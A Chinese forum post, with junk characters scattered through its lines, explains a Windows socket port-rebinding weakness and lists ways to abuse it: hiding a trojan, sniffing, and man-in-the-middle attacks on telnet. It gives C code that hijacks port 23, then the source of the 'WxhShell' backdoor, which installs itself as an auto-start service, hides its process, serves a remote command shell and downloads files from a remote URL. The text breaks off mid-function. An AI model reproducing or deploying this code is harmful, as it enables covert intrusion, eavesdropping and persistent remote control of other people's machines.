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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \>w@=bq26  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /0X0#+kn  
dawVE O  
  saddr.sin_family = AF_INET; 5Q2TT $P  
z2"2tFK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); W8\PCXnsfl  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %'$cH$%~J  
*#3voJjV(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^Osd/g  
=]2 b8  
  这意味着什么?意味着可以进行如下的攻击: l;.[W|  
$@lq}FQ%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~Q3WBOjn  
O1l4gduN|i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q';\tGy  
5EVB27k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Oct\He\.  
7H/! rx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'Hcd&3a  
 oaH+c9v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !W(/Y9g#  
"E4i >g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7"h=MB_  
;D %5 nnr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [)T$91 6I  
7 UB8N vo  
  #include i2`.#YJ&v  
  #include R.^Bxi-UG:  
  #include P\Pc/[ Z7  
  #include    \xa36~hh40  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,.1&Ff)S  
  int main() S5YDS|K  
  { ]JhDRJ\  
  WORD wVersionRequested; 7%~VOB  
  DWORD ret; B h.6:9{  
  WSADATA wsaData; '_Hb}'sFI  
  BOOL val; b{9HooQ{  
  SOCKADDR_IN saddr; ORFr7a'K  
  SOCKADDR_IN scaddr; !>"INmz  
  int err; f@,hO5h(_|  
  SOCKET s; +dPE!:  
  SOCKET sc; OsHkAI  
  int caddsize; PW~cqo B71  
  HANDLE mt; Ply2DQr  
  DWORD tid;   RBHqLg(  
  wVersionRequested = MAKEWORD( 2, 2 ); & y 2GQJE  
  err = WSAStartup( wVersionRequested, &wsaData ); }lr fO_  
  if ( err != 0 ) { bUZ&}(/  
  printf("error!WSAStartup failed!\n"); [hvig$L  
  return -1; &</ @0  
  } C {H'  
  saddr.sin_family = AF_INET; sf|_2sI  
   D8<0zxc=(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?45K%;.9Q  
k~W;TCJs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mt&JgA/  
  saddr.sin_port = htons(23); uBd =x<c\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v/4X[6(  
  { E Ni%ge'":  
  printf("error!socket failed!\n"); ijR*5#5h  
  return -1; @EH4N%fH  
  } Z7k1fv:S^  
  val = TRUE; ~Krg8s!F&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]h`E4B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .DM1Knj  
  { A~ %g"  
  printf("error!setsockopt failed!\n"); s OrY^cY;  
  return -1; XEe+&VQmY  
  } t9=|* =;9)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }I'>r(K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z!uB&2C{k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 55jY` b .  
-* -zU#2|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ix_$Ok  
  { LRLhS<9  
  ret=GetLastError(); ?!Th-Cc&m  
  printf("error!bind failed!\n"); B'[3kJ'  
  return -1; _4x[}e7KF  
  }  nd*!`P  
  listen(s,2); n"`SL<K1  
  while(1) Y/Gswcz  
  { VG*=)8{  
  caddsize = sizeof(scaddr); [fJFH^&?hr  
  //接受连接请求 VS@rM<K{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 85d7IB{28  
  if(sc!=INVALID_SOCKET) FKvO7? K  
  { QKuc21  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eyl) uR  
  if(mt==NULL) [^"(%{H  
  { D%";!7u  
  printf("Thread Creat Failed!\n"); pdXgr)Uv  
  break; 75BOiX  
  } MHzsxF|  
  } c#4ZDjvm6  
  CloseHandle(mt); E&Zx]?~  
  } "e!$=;5  
  closesocket(s); \T#(rt\j  
  WSACleanup(); nms<6kfzL  
  return 0; p~{%f#V  
  }   2 3XAkpzp$  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;*$8iwBQ_  
  { ef1N#z%gt  
  SOCKET ss = (SOCKET)lpParam; crOtQ  
  SOCKET sc; <@;xV_`X+  
  unsigned char buf[4096]; d .lu  
  SOCKADDR_IN saddr; ZkV vL4yIK  
  long num; }od7YL  
  DWORD val; Z ysUz  
  DWORD ret; &rtz&}ZB;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aDJjVD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <` VJU2  
  saddr.sin_family = AF_INET; '\vmfp =  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k-Hfip[ro  
  saddr.sin_port = htons(23); 9p0HFri[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7^ Q$pT>  
  { R~mMGz  
  printf("error!socket failed!\n"); i?s&\3--Y  
  return -1; (H|d3  
  } Ia>th\_&  
  val = 100; jwE(]u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eNk!pI7g  
  { y0y;1N'KK  
  ret = GetLastError(); ]NhWhJ:  
  return -1; E/Gs',Y  
  } n<(5B|~y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kd|l\k!  
  { !gH.st  
  ret = GetLastError(); wQ/@+$>  
  return -1; #__'U6`(  
  } !5 :1'$d]H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \iTPJcb5  
  { p]IhQnj2  
  printf("error!socket connect failed!\n"); ?ia[KLt"  
  closesocket(sc); m_O=X8uj"D  
  closesocket(ss); 'MM~ ~:  
  return -1; {m*J95[   
  } 'H-YFB$l  
  while(1) p 7E{es|J  
  { n[p9$W`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [Kj#KJxy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >IydXmTy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Spw=+z<<Ub  
  num = recv(ss,buf,4096,0); P`Wf'C^h  
  if(num>0) JdNPfkOF  
  send(sc,buf,num,0); nhaoh!8A6  
  else if(num==0) B qiq  
  break; Ta5iY }  
  num = recv(sc,buf,4096,0); KVe'2Q<  
  if(num>0) cLk+( dn  
  send(ss,buf,num,0); Tee3U%Y  
  else if(num==0) ^ cd5Zl  
  break; \\pyu]z  
  } IHX#BY>  
  closesocket(ss); MM)/B>cQt  
  closesocket(sc); ykl=KR  
  return 0 ; ]R.Vq\A%S  
  } vWU4ZBT8G  
`Q_ R/9~  
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========================================================== @^jLYu|W  
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下边附上一个代码,,WXhSHELL >Zp]vK~s  
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========================================================== -bX.4+U  
!suiqP1\*  
#include "stdafx.h" 5v-;*  
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#include <stdio.h> YVV $g-D}  
#include <string.h> I6 Q_A  
#include <windows.h> 745V!#3!M  
#include <winsock2.h> RloPP  
#include <winsvc.h> c15^<6]g  
#include <urlmon.h> ialk6i![  
${:$jX[  
#pragma comment (lib, "Ws2_32.lib") 9 7qS.Z27  
#pragma comment (lib, "urlmon.lib") SPm5tU  
s~ZC!-[;  
#define MAX_USER   100 // 最大客户端连接数 r*xw\  
#define BUF_SOCK   200 // sock buffer ?4||L8j2^  
#define KEY_BUFF   255 // 输入 buffer |(8h:g  
bM_(`]&*  
#define REBOOT     0   // 重启 J0 z0%p   
#define SHUTDOWN   1   // 关机 ">^]^wa08  
>~8Df61o`  
#define DEF_PORT   5000 // 监听端口 2gI_*fG1  
C+IE<=%F  
#define REG_LEN     16   // 注册表键长度 ,TA [el%#  
#define SVC_LEN     80   // NT服务名长度 j`pR;XL1[  
i*E`<9  
// 从dll定义API {Ag}P0% '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P`v~L;f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -L<Pm(v&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8WQ%rN={8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SJr:  
90v18k  
// wxhshell配置信息 IYC#H}  
struct WSCFG { 6df&B .gg  
  int ws_port;         // 监听端口 f__WnW5h  
  char ws_passstr[REG_LEN]; // 口令  h\ek2K  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,H1~_|)<  
  char ws_regname[REG_LEN]; // 注册表键名 uzA'D~)P  
  char ws_svcname[REG_LEN]; // 服务名 *F&&rsb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2^lT!X@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?pY!sG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ==r|]~x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U2?gODh'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VO6y9X"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /pN2Jst  
[\F,\  
}; Ox'.sq4  
P!ICno6[e  
// default Wxhshell configuration 9\0 K%LL  
struct WSCFG wscfg={DEF_PORT, ;z=C]kI6M  
    "xuhuanlingzhe", \Y 4Z Q"0Q  
    1, d9( Sj?  
    "Wxhshell", 4>#^Pk?Ra  
    "Wxhshell", J8Db AB4X  
            "WxhShell Service", 8dB~09Z7  
    "Wrsky Windows CmdShell Service", F}[;ytmUS  
    "Please Input Your Password: ", (}8 ;3pp  
  1, K)@Buu&,p  
  "http://www.wrsky.com/wxhshell.exe", tAi9mm;k  
  "Wxhshell.exe" : seL=  
    }; B+ sqEj-  
B K;w!]  
// 消息定义模块 dG$0d_Pq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .NC}TFN|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @S92D6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wc G&W>  
char *msg_ws_ext="\n\rExit."; Zi)8KO[/0  
char *msg_ws_end="\n\rQuit."; 8PS:yBkA|  
char *msg_ws_boot="\n\rReboot..."; O+J;Hp;\_  
char *msg_ws_poff="\n\rShutdown..."; ![tI(TPq  
char *msg_ws_down="\n\rSave to "; v[ '5X  
JwczE9~o  
char *msg_ws_err="\n\rErr!"; dVfDS-v!  
char *msg_ws_ok="\n\rOK!"; DyZ90]N  
h)`vc#"65k  
char ExeFile[MAX_PATH]; `:4cb $  
int nUser = 0; #^V"=RbD  
HANDLE handles[MAX_USER]; }('' |z#UE  
int OsIsNt; yBiwYk6  
 Nf'9]I  
SERVICE_STATUS       serviceStatus; Q1[s{,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (Mh\!rMg  
[40 YoVlfM  
// 函数声明 &3J#"9 _S  
int Install(void); {r8CzJ'f  
int Uninstall(void); ~MO C r  
int DownloadFile(char *sURL, SOCKET wsh); k 'b|#c9c  
int Boot(int flag); <`qo*__1  
void HideProc(void); .D`#a  
int GetOsVer(void); C%>7mz-v5  
int Wxhshell(SOCKET wsl); ,;18:  
void TalkWithClient(void *cs); PBv43uIL  
int CmdShell(SOCKET sock); w(-n1oSo  
int StartFromService(void); $)~]4n=  
int StartWxhshell(LPSTR lpCmdLine); uNg.y$>CX  
{jI/9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [\yI<^_a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d:''qgz`  
=1qkoc~  
// 数据结构和表定义 I:"`|eHxv  
SERVICE_TABLE_ENTRY DispatchTable[] = AK =k@hT  
{ 5?MvO]_  
{wscfg.ws_svcname, NTServiceMain}, <|iU+.j\  
{NULL, NULL} bwFc>{Wo5  
}; !Ua#smZ  
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// 自我安装 KRe=n3 1  
int Install(void) rl=_ "sd=  
{ @~ L.m}GF  
  char svExeFile[MAX_PATH]; Hf iM]^  
  HKEY key; |O?Aj1g[c?  
  strcpy(svExeFile,ExeFile); ) b8*>k  
)^+$5OR\c  
// 如果是win9x系统,修改注册表设为自启动 3!L)7Z/  
if(!OsIsNt) { 'c D"ZVm1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '=@x2`U/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NU[{oI<a  
  RegCloseKey(key); BoqW;SG$9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IuF-bxA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Q!j7I  
  RegCloseKey(key); D>Z_N?iR  
  return 0; 0a'y\f:6*  
    } BKEB,K=K@  
  } 5EUkp6Y  
} 0*/~9n-Vl  
else { ;}qCIyuO]  
+h/$_5  
// 如果是NT以上系统,安装为系统服务 O.dNhd$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }2@$2YR[  
if (schSCManager!=0) <k!G%R<9  
{ @C2<AmY9q*  
  SC_HANDLE schService = CreateService E \RU[  
  ( < ]nI)W(  
  schSCManager, {UNz UaE  
  wscfg.ws_svcname, b4wJnmC8  
  wscfg.ws_svcdisp, LzfLCGA^  
  SERVICE_ALL_ACCESS, =`U[{3A_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /[L:ol6;!  
  SERVICE_AUTO_START, .8m)^ET  
  SERVICE_ERROR_NORMAL, dEiX! k$#  
  svExeFile, {65X37W  
  NULL, o6R(BMwGa  
  NULL, A UK7a  
  NULL, Mi/_hzZ\  
  NULL, GZw<Y+/V"5  
  NULL wkGF&U  
  ); t-Wn@a  
  if (schService!=0) =DgD&_  
  { ;ORy&H aKl  
  CloseServiceHandle(schService); &}uO ]0bR  
  CloseServiceHandle(schSCManager); pK`rm"6G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cPXvT Vvs  
  strcat(svExeFile,wscfg.ws_svcname); iR-O6*PTC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QWkw$mcf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); slx^" BF^  
  RegCloseKey(key); u=[oo @Rk`  
  return 0; Q7\Ax0  
    } jDoWSYu4tY  
  } d<Di;5  
  CloseServiceHandle(schSCManager); w <ID<  
} Ou%>Dd5|?  
} lV?SvXe  
lFcCWy  
return 1; %YXC-E3@O  
} -~q]0>  
o\#C] pp  
// 自我卸载 kLhtkuS4  
int Uninstall(void) yBoZ@9Do  
{ ]V_9[=%  
  HKEY key; = 7?'S#  
m8?(.BJ%  
if(!OsIsNt) { pV!(#45~W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8yo9$~u;  
  RegDeleteValue(key,wscfg.ws_regname); 'e)t+  
  RegCloseKey(key); m3D'7*U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  0c{N)  
  RegDeleteValue(key,wscfg.ws_regname); 4*3vZ6lhu  
  RegCloseKey(key); #/:[ho{JQ  
  return 0; Rl~Tw9  
  } + |,CIl+  
} ,y.0 Cb0  
} vcmS]$}  
else { FueJe/~t  
tL~|/C)d R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D7%89qt  
if (schSCManager!=0) [{ pc1U-  
{ BK{8\/dg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .^uu* S_  
  if (schService!=0) (<CLftQKg  
  { ~(8A&!#,!  
  if(DeleteService(schService)!=0) { ?aCR>AY5X  
  CloseServiceHandle(schService); (GV6%l#I  
  CloseServiceHandle(schSCManager); !EFd- fk  
  return 0; 4c% :?H@2  
  } C{) )T5G  
  CloseServiceHandle(schService); Nl+2m4  
  } 1/m/Iw@  
  CloseServiceHandle(schSCManager); 86_Zh5:  
} rT#QA=YB  
} Q,$x6YwE  
;i]cmy  
return 1; R Q 8okA  
} 5s>9v  
/~yqZD<O  
// 从指定url下载文件 &jJgAZ!  
int DownloadFile(char *sURL, SOCKET wsh) q\,H9/.0k  
{ T:ck/:ZH  
  HRESULT hr; NF.SGga  
char seps[]= "/"; "*0 szz'  
char *token; $=bN=hE  
char *file; pUmB h  
char myURL[MAX_PATH]; 5Z:HCp-aG  
char myFILE[MAX_PATH]; ZoUfQ!2*  
l|K8+5L  
strcpy(myURL,sURL); @sDd:> t  
  token=strtok(myURL,seps); jK{MU) D+  
  while(token!=NULL) !xvPG  
  { CtfSfSAUuu  
    file=token; \|(;q+n?k  
  token=strtok(NULL,seps); [bp"U*!9P  
  } 1.!(#I3  
k\lj<v<vD  
GetCurrentDirectory(MAX_PATH,myFILE); \!PC:+u J  
strcat(myFILE, "\\"); wqyAEVea'8  
strcat(myFILE, file); ~t}:vGDj  
  send(wsh,myFILE,strlen(myFILE),0); ~ce.&C7cR  
send(wsh,"...",3,0); p|((r?{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =4[zt^WX"  
  if(hr==S_OK) O[]+v  
return 0; qgDBu\  
else 1$|z%(  
return 1; AL;"S;8  
rQWft r^  
} {ys_uS{c*  
kO.rgW82  
// 系统电源模块 ._yr7uY[M  
int Boot(int flag) 0Zq" -  
{ :K&hGZ+5  
  HANDLE hToken; eAqQ~)8^  
  TOKEN_PRIVILEGES tkp; l YhwV\3  
O<Kr6+ -  
  if(OsIsNt) { gW, ET  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #RSxo 4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XBc+_=)$  
    tkp.PrivilegeCount = 1; }bHpFe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "mOoGy, (  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]D%[GO//!  
if(flag==REBOOT) { ;gc 2vDMv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o ZAjta_4  
  return 0; +n:#Uf)  
} M}c_KFMV  
else { $xl*P#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) " JRlj  
  return 0; WULj@ds\~  
} $^l=#tV  
  } &a0%7ea`.S  
  else { i.< }X  
if(flag==REBOOT) { '%MIG88  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) brFOQU?  
  return 0; 6!'yU=Z`  
} :eO]65N  
else { }}]Y mf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P8EGd}2{8  
  return 0; mZ5UaSG  
} rS jC/O&b  
} ug{F?LW[  
)uaB^L1  
return 1; #Y:/^Q$_qS  
} ZibODs=f;  
936t6K&  
// win9x进程隐藏模块 6y0C  
void HideProc(void) ~}5(J,1!  
{ J h"]iN  
4$J/e?i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QSLDA`  
  if ( hKernel != NULL ) w\M_3}  
  {  WsoB!m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9GEcs(A*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,^[s4 =3X?  
    FreeLibrary(hKernel); Uag1vW,c  
  } oacY-&  
*Dn{MD7,M  
return; XkD_SaL}  
} 7%<jZ =  
^KlOD_GN|  
// 获取操作系统版本 h~1QmEat  
int GetOsVer(void) 9W8Dp?:  
{ &><`?  
  OSVERSIONINFO winfo; "~ `-Jkm   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^?A+`1-  
  GetVersionEx(&winfo); -Av/L>TxlI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :Y'nye3:  
  return 1; ,|H!b%ZW  
  else ~% c->\Q  
  return 0; 9+/|sU\.%  
} 1@ina`!1O  
u>E+HxUJ  
// 客户端句柄模块 &yN<@.  
int Wxhshell(SOCKET wsl) r {8  
{ I|M*yObl6  
  SOCKET wsh; >!2'|y^  
  struct sockaddr_in client; ZQ:Y5 ph  
  DWORD myID; 7-LeJRB  
Ac54 VN  
  while(nUser<MAX_USER) NX; &V7  
{ OU+*@2")t  
  int nSize=sizeof(client); }lY-_y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1Y`MJ \9  
  if(wsh==INVALID_SOCKET) return 1; Ob+&!XTp?0  
9f @)EKBK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0(kp>%mbB  
if(handles[nUser]==0) +u#x[xO  
  closesocket(wsh); v Zxy9Wmc  
else 0jmlsC>  
  nUser++; ?m!FM:%  
  } .jKO 6f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o i?ak  
M~6I-HexT|  
  return 0; /<C=9?Ok  
} IlrmXSr  
2V]2jxOQ  
// 关闭 socket W1s|7  
void CloseIt(SOCKET wsh) s,RS}ek~|  
{ n*1UNQp@]O  
closesocket(wsh); 4D13K.h`O  
nUser--; Px8E~X<@  
ExitThread(0); BCbW;w8aI  
} \,N dg*qC  
ra&C|"~E  
// 客户端请求句柄 %F~ dmA#:  
void TalkWithClient(void *cs) GyCpGP|AZ  
{ jt3SA [cy  
j{=%~  
  SOCKET wsh=(SOCKET)cs; 2S;zze7)  
  char pwd[SVC_LEN]; `et<Z  
  char cmd[KEY_BUFF]; *v9G#[gG  
char chr[1]; [>0r'-kI  
int i,j; +M*a.ra0OF  
8M|Q^VeT,1  
  while (nUser < MAX_USER) { ,aJrN!fzU  
vEsSqzc  
if(wscfg.ws_passstr) { 2R!W5gs1<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }FXRp=s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v^tKT&  
  //ZeroMemory(pwd,KEY_BUFF); */)gk=x8  
      i=0; U`Zn*O~/  
  while(i<SVC_LEN) { q~3&f  
lySaJ d  
  // 设置超时 Q ZlUUj\  
  fd_set FdRead; 6D0,ME#  
  struct timeval TimeOut; G!\x c  
  FD_ZERO(&FdRead); S%oGBY*Z  
  FD_SET(wsh,&FdRead); ;W].j%]L e  
  TimeOut.tv_sec=8; k-U/x"Pl  
  TimeOut.tv_usec=0; epF>z   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d1-p];&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 93\,m+-  
>MT)=4 9q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,3j7Y5v  
  pwd=chr[0]; f/y K|[g~  
  if(chr[0]==0xd || chr[0]==0xa) { >UMnItq(l  
  pwd=0; =m:W  
  break; J^:~#`8  
  } O^#u%/  
  i++; 5glGlD6R  
    } #"_MY-  
.p`'^$X^  
  // 如果是非法用户,关闭 socket q4{tH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fn,|J[sC  
} GLyh1qNX  
n&]w* (,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m!_ghD{5h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W=?87PkJu  
keOW{:^i  
while(1) { ;Y\,2b, xh  
UZra'+Wb  
  ZeroMemory(cmd,KEY_BUFF); mxGN[ %ve  
V*}zwm s6  
      // 自动支持客户端 telnet标准   m##=iB|;  
  j=0; 9:o3JGHSc  
  while(j<KEY_BUFF) { `t6L'%\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H[ q{R  
  cmd[j]=chr[0]; ;^]A@WN6_  
  if(chr[0]==0xa || chr[0]==0xd) { @ni~ij  
  cmd[j]=0; Ne 4*MwK  
  break; v%5(-  
  } (#]KjpIK  
  j++; 3)Y:c2  
    } 5ov%(QI  
:(Bi {cw  
  // 下载文件 ^~l<N@  
  if(strstr(cmd,"http://")) { (rn x56I$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [3Rj?z"S  
  if(DownloadFile(cmd,wsh)) 5b p"dIe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qs:r@"hE  
  else s 'x mv{|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A]$+ `uS\  
  } k#xpY!'7  
  else { ".f:R9-  
5g5NTm`=<  
    switch(cmd[0]) { Umg81!  
  WKsx|a]U  
  // 帮助 P hu| hx<  
  case '?': { Sj?sw]3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R:?vY!  
    break; `x)bw  
  } |m- `, we  
  // 安装 g/p }r.  
  case 'i': { VWt'Kx"  
    if(Install()) (+dRD] |T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vq1&8=  
    else ,np`:fBMy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0}2@Q2@ZK  
    break; mC92J@m/L!  
    } PBtU4)  
  // 卸载 6/ipdi[ _  
  case 'r': { \DK*> k  
    if(Uninstall()) &,]+>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D|9fHMg %  
    else vWs c{9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j*d~h$[k  
    break; ^~ $&  
    } -FV'%X$i  
  // 显示 wxhshell 所在路径 X>7]g670@  
  case 'p': { \*aLyyy3  
    char svExeFile[MAX_PATH]; <|3v@  
    strcpy(svExeFile,"\n\r"); /g'-*:a  
      strcat(svExeFile,ExeFile); XWpnZFjE  
        send(wsh,svExeFile,strlen(svExeFile),0); ^1=|(Z/  
    break; +Q31K7Gr  
    } pIiED9  
  // 重启 +z0}{,HX  
  case 'b': { : "te-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9PK-r;2  
    if(Boot(REBOOT)) f*{;\n (.t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =pyZ^/}P  
    else { u 7Y< ~  
    closesocket(wsh); 2-!Mao"^  
    ExitThread(0); &>.1%x@R  
    } @;D}=$x  
    break; MmH_gR  
    } KxmPL  
  // 关机 fMPq  
  case 'd': { Q0Qm0B5eY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k<zGrq=8J  
    if(Boot(SHUTDOWN)) myOX:K*  
